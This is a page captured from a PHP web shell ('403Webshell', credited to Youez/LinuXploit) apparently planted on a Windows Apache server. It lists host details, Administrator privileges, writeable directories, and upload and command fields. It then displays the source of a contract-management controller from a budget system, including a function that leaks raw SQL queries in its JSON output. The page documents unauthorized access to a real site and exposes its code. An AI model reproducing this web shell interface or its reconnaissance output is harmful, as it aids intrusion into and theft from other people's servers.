403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/wamp/www/sipkd_2019_test/application/modules/kontrak/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/wamp/www/sipkd_2019_test/application/modules/kontrak/controllers/kontrak2.php
<?php

class Kontrak extends Aktivitas_Controller {

  public function __construct()
  {
    parent::__construct();
    $this->modul_name = 'kontrak';
    $this->modul_display = 'Kontrak';
    $this->view_form = 'kontrak_form';
    $this->view_daftar = 'kontrak_view';
    $this->report_daftar = 'Daftar Kontrak';
    $this->report_form = 'Form Kontrak';
    $this->load->model('kontrak_model', 'data_model');

    $this->message_aktivitas_dihapus = 'Kontrak telah dihapus.';
    $this->message_aktivitas_gagal_dihapus = 'Kontrak tidak bisa dihapus.';
  }

  function validasi()
  {
    $this->form_validation->set_rules('id_skpd', 'SKPD', 'required|trim|integer');
    $this->form_validation->set_rules('id_keg', 'Kegiatan', 'required|trim|integer');

    $this->form_validation->set_rules('namap', 'Nama Perusahaan', 'required|trim|max_length[500]');
    $this->form_validation->set_rules('almtp', 'Nama Pemimpin', 'required|trim|max_length[200]');
    $this->form_validation->set_rules('pimpinan', 'Nama Pemimpin', 'required|trim|max_length[100]');
    $this->form_validation->set_rules('npwp', 'NPWP', 'trim|max_length[50]');
    $this->form_validation->set_rules('bank', 'Nama Bank', 'required|trim|max_length[100]');
    $this->form_validation->set_rules('norek', 'Rekening Bank', 'required|trim|max_length[50]');

    $this->form_validation->set_message('max_length', '%s tidak boleh melebihi %s karakter.');
  }

  public function get_sisa_anggaran()
  {
    $idr = $this->input->post('idr') ? $this->input->post('idr') : 0;
    $param = array(
      'id_skpd' => $this->input->post('id_skpd') ? $this->input->post('id_skpd') : 0,
      'id_kegiatan' => $this->input->post('id_kegiatan') ? $this->input->post('id_kegiatan') : 0,
      'id_rekening' => $this->input->post('id_rekening') ? $this->input->post('id_rekening') : 0,
      'id' => $this->input->post('id') ? $this->input->post('id') : 0
    );
    $result = $this->data_model->get_sisa_anggaran($param);
    $response = (object) NULL;
    if ($result){
      $response = array(
          'idr' => $idr,
          'sisa' => $result['NOMINAL'],
          'pagu' => $result['NOMINAL_ANGGARAN'],
          'lalu' => $result['NOMINAL_KONTRAK'],
          'sql' => $this->db->queries
      );
    }
    echo json_encode($response);
  }

  public function rinci($id=0)
  {
    $result = $this->data_model->get_rinci_by_id($id);
    $response = (object) NULL;
    if ($result){
      for($i=0; $i<count($result); $i++)
      {
        $response->rows[$i]['id'] = $result[$i]['ID_REKENING'];
        $response->rows[$i]['cell'] = array(
            $result[$i]['ID_REKENING'],
            $result[$i]['KODE_REKENING'],
            $result[$i]['NAMA_REKENING'],
            $result[$i]['ANGGARAN'],
            $result[$i]['NOMINAL_KONTRAK'],
            $result[$i]['NOMINAL_LALU'],
            $result[$i]['SISA'] - $result[$i]['NOMINAL_LALU'] - $result[$i]['NOMINAL_KONTRAK'],
            $result[$i]['SISA'],
            $result[$i]['ID_SUMBER_DANA'],
        );
      }
    }
    echo json_encode($response);
  }

  function sumberdana($id=0)
  {
    $result = $this->data_model->get_sumberdana_by_id($id);

    $response = (object) NULL;
    if ($result){
      for($i=0; $i<count($result); $i++)
      {
        $response->rows[$i]['id'] = $result[$i]['ID_SUMBER_DANA'];
        $response->rows[$i]['cell']=array(
              $result[$i]['ID_SUMBER_DANA'],
              $result[$i]['NAMA_SUMBER_DANA'],
              $result[$i]['KODE_REKENING'],
              $result[$i]['NAMA_REKENING'],
              $result[$i]['NOMINAL'],
        );
      }
    }
    echo json_encode($response);
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit